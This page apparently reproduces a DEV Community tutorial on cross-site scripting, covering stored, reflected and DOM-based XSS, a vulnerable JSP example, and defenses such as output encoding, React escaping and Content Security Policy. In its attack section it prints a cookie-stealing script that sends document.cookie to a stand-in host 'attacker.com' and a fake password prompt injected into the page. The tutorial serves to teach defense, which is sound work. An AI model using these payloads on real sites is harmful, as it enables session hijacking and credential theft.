惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
J
Java Code Geeks
I
InfoQ
V
Visual Studio Blog
M
MIT News - Artificial intelligence
H
Help Net Security
博客园_首页
Blog — PlanetScale
Blog — PlanetScale
F
Fortinet All Blogs
Apple Machine Learning Research
Apple Machine Learning Research
人人都是产品经理
人人都是产品经理
G
Google Developers Blog
A
About on SuperTechFans
腾讯CDC
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Last Week in AI
Last Week in AI
小众软件
小众软件
aimingoo的专栏
aimingoo的专栏
罗磊的独立博客
大猫的无限游戏
大猫的无限游戏
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
云风的 BLOG
云风的 BLOG
S
SegmentFault 最新的问题
WordPress大学
WordPress大学

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
XSS Explained: How Attackers Execute JavaScript Inside Yo...
Sanjay Ghosh · 2026-05-06 · via DEV Community

Hook

What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box?
That’s exactly what Cross-Site Scripting (XSS) enables.

Let’s break down how this actually happens in real applications.

What is XSS?

The flow of a typical XSS attack is illustrated above.

Cross-Site Scripting happens when an application renders untrusted user input directly into a web page.
Instead of displaying the input as plain text, the browser interprets it as executable JavaScript.

This allows attackers to run malicious code in another user’s browser — under your application’s trusted domain.

Types of XSS

✔ Stored XSS
Attacker submits malicious input.
Application stores it in database.
Every user who loads the page executes it.

Example scenario:
Comment section
✔ Reflected XSS
Input comes from request (URL/form)
Reflected immediately

Example:
Search page
✔ DOM-based XSS
No server involvement.
Client-side JavaScript inserts attacker-controlled data into DOM.
While these types differ in how the payload is delivered, the core issue is the same: untrusted input is executed as code.

Practical Example

❌ Vulnerable Example (Java/JSP)
String comment = request.getParameter("comment");
saveComment(comment);

Later Rendered:
<div><%= comment %></div>
The application assumes the comment is harmless text.
But the browser has no way to know that.

💥 Attack Input
<script>alert('XSS')</script>
When rendered:
<div><script>alert('XSS')</script></div>

Browser executes it.
The browser has no way to distinguish between legitimate code and attacker-injected code.
Instead of displaying text, the browser executes JavaScript.

Escalate Attack (Attacker Mindset)

Cookie Theft Example

<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>

This sends victim session cookies to attacker.
If session cookies are not protected, attacker may hijack active sessions.
This works because browsers automatically include cookies with requests to the same domain.

Fake Login Form

<script>
document.body.innerHTML =
'<h2>Session Expired</h2><input placeholder="Password">';
</script>

Attacker replaces page content with fake UI.
Users unknowingly enter credentials.

Real Impact

Session hijacking

Attacker steals authenticated session.

Account takeover

Victim account accessed without password.

Data theft

Sensitive page data can be extracted.

Phishing inside app
This is especially dangerous because users trust your domain.
Users are far more likely to trust fake prompts when they appear inside a legitimate application they already trust.

The dangerous part about XSS is that it doesn’t attack your backend — it exploits the trust between your application and your users.

How to Prevent XSS

✅ Output Encoding

Escape special characters
Convert < →&lt;
👉 Key idea:
Treat user input as data, not HTML
Unsafe:
<div><%= userInput %></div>

Safe:
<div><c:out value="${userInput}" /></div>

Special characters become text:
<script> becomes visible text instead of executable code.

Method Browser Sees (Source Code) Browser Does
<c:out> &lt;script&gt;evil()&lt;/script&gt; Displays literal text on screen.
<%= %> <script>evil()</script> Executes the script immediately.

✅ Framework Protection

Modern frameworks escape by default.
React (safe)
<div>{userInput}</div>

Dangerous
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Usually, when you render data in React using curly braces {userContent}, React automatically escapes the content. This means it treats everything—including HTML tags—as literal text, preventing malicious scripts from executing.

When you use dangerouslySetInnerHTML, you are telling React to skip that protection and inject the raw string directly into the DOM

✅ ####Content Security Policy
Restrict script execution
Content-Security-Policy: default-src 'self'; script-src 'self';
Even if script injection happens, browser blocks unauthorized script execution.

Common Mistakes

Trusting user input

Never assume users behave correctly.

Using innerHTML

Unsafe:
element.innerHTML = userInput;
Safe:
element.textContent = userInput;

Disabling escaping

Framework protections exist for a reason.

Final Thoughts

Think like an attacker:

Ask:

  • Can I inject script here?
  • Will the browser execute it?
  • Can I steal trust from this page?

XSS is dangerous because it doesn’t attack your server directly — it attacks your users through your application.

If your application renders user input without proper encoding, you’re handing attackers control of your users’ browsers.

In XSS, the attacker doesn’t break your system — they use it against your users.

Always treat user input as data — never as code.